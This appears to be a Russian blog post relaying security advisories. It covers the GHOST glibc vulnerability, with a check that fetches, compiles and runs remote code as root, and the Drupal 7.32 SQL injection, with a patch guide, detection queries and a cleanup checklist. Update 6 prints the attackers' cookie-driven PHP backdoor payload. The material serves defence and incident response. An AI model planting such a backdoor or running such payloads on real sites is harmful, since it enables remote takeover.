Критическая уязвимость (CVE-2015-0235) у серверов под Linux

Новая уязвимость GHOST ((CVE-2015-0235) в библиотеке glibc (GNU C Library))
Уязвимость в распространенных дистрибутивах Linux может позволить злоумышленнику получить удаленный контроль над системой. Под ударом оказались пользователи Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7, Ubuntu 12.04.
http://habrahabr.ru/company/pt/blog/249097/

проверяем, есть ли она.

от рута:

wget https://gist.githubusercontent.com/koelling/ef9b2b9d0be6d6dbab63/raw/de1730049198c64eaf8f8ab015a3c8b23b63fd34/gistfile1.c gcc gistfile1.c -o CVE-2015-0235 ./CVE-2015-0235

если vulnarable, то

Debian, Ubuntu:

sudo apt-get clean sudo apt-get update sudo apt-get upgrade sudo reboot

остальные:

http://www.cyberciti.biz/faq/cve-2015-0235-patch-ghost-on-debian-ubuntu-…

Источник: http://www.drupal.ru/node/115351

Внимание! Критическая уязвимость во всех версиях drupal ниже Drupal 7.32 (Highly critical) (update 9)

Критическая уязвимость во всех версиях drupal 7-ой ветки, которой был присвоен уровень “Highly critical“. Уязвимость позволяет выполнить произвольный sql запрос на сайте (сменить пароль для админа, включить php фильтр и добавить произвольный php код в одну из нод). Необходимо срочно обновляться до Drupal 7.32, если возможности сейчас срочно обновиться нет, то как минимум нужно использовать патч https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch устраняющий проблему.

Минигайд по патчу(вручную):
В файле includes/database/database.inc
находим строку:
foreach ($data as $i => $value) {
и заменяем её на:
foreach (array_values($data) as $i => $value) {

Если такой строки нет – уточняйте, возможно ваш хостер уже наложил патч (в виду критичности проблемы).

Официальная информация о уязвимости – https://www.drupal.org/SA-CORE-2014-005
На русском языке – http://www.opennet.ru/opennews/art.shtml?num=40844 и http://habrahabr.ru/post/240721/
Патч – https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch

update.
На хостинге it-patrol.ru наложили патч на все уязвимые сайты. Обновились только 5% сайтов, так что посовещавшись решили наложить патч сами на уязвимые сайты, чтобы защитить клиентов (по рассылке всех уведомили).

update 2.
Информация от neochief

"neochief" написал(а):

Если у вас чудесным образом оказалось уже все пропатчено, либо вы не можете найти нужную строку, не спешите радоваться. Вот здесь описано как такое случается: http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdo…

У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда “find . -type f -printf ‘%T@ %p\n’ | sort -k 1nr | sed ’s/^[^ ]* //’ | head -n 10″, которая выводит последние 10 изменившихся файлов, ну или “git status”). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику “$form1=@$_COOKIE” в дампе базы, чтобы проверить.

update 3.
drupal 8 так же подвержен этой уязвимости. Исправили в Drupal 8 beta 2 – https://www.drupal.org/node/2357303

update 4.

"drupby" написал(а):

самое интересное, что ишью по данному поводу было создано в прошлом ноябре https://www.drupal.org/node/2146839, а пофиксили как обычно следующей осенью

Ответ по этому поводу на drupal.org – https://www.drupal.org/node/2146839#comment-9255599

update 5.
Модуль https://www.drupal.org/project/site_audit показывает наличие троянов в menu_router, крайне желательно проверить свой сайт
Или сделайте дамп базы данных и grep ‘$form1=@$_COOKIE’ мой_дамп.sql (для linux)

update 6.
В базе данных взломанных сайтов в таблице menu_router обнаруживается строка с access_arguments примерно следующего вида:
a:2:{i:0;s:25:"modules/taxonomy/yrof.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Найти такой троян в базе можно запросом:
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';

Так же создаются php shell, их ищем так:
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

Если в базе не нашли записи, это не ещё не значит, что сайт не взломан. Некоторые злоумышленники заметают следы, убирая записи из базы, после создания php shell


update 7.
Чеклист для проверки сайта
1) Проверяем не засунули ли трояна в menu_router (выглядит примерно так http://www.zoubi.me/sites/default/files/drupageddon_sql.png )
1 способ
делаем запрос в базу
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
2 способ
сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)
3 способ
ставим модуль https://www.drupal.org/project/site_audit

Если строчку нашли, то удаляем её из базы

2) Проверяем не создали ли php shell в директории сайта
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

смотрим какие php файлы создавали за последние 5 дней
find /путь/до/сайта -name "*.php" -mtime -5
на каких файлах php изменяли права (иногда полезно)
find /путь/до/сайта -name "*.php" -ctime -5

3) Проверяем не поменяли ли email админа на сайте, меняем пароль (для главного админа и остальных админов, если они есть)
4) Смотрим не появились ли новые группы (роли с повышенными правами), если появились, удаляем
5) Проверяем не появились ли новые пользователи админы (состоящие в группе администратор, или других групп с повышенными правами), если есть, удаляем
6) если не хакали модули сами и не ставили дев версии, то выявить хаки в модулях и ядре поможет модуль https://www.drupal.org/project/hacked

update 8
Злоумышленники массово создавали пользователя с именем drupaldev и ролью megauser (с правами администратора), проверяйте свои сайты.
Проверить наличие в базе данных пользователя drupaldev и роли megauser, можно, к примеру, запросами в базу:
SELECT * FROM role WHERE name='megauser';
SELECT * FROM users WHERE name='drupaldev';

update 9
Информация от Ch
Появился модуль https://www.drupal.org/project/drupalgeddon который анализирует возможный взлом сайта (SA-CORE-2014-005), не имеет интерфейса, выполняется из консоли (drush). Интегрирован с модулем https://www.drupal.org/project/site_audit
Cписок пользователей создаваемых злоумышленниками, которые ишет модуль:

$users = array( 'configure', 'drplsys', 'drupaldev', 'n0n0x', 'system', );

Источник: http://www.drupal.ru/node/113136

© 2009 Обзор CMS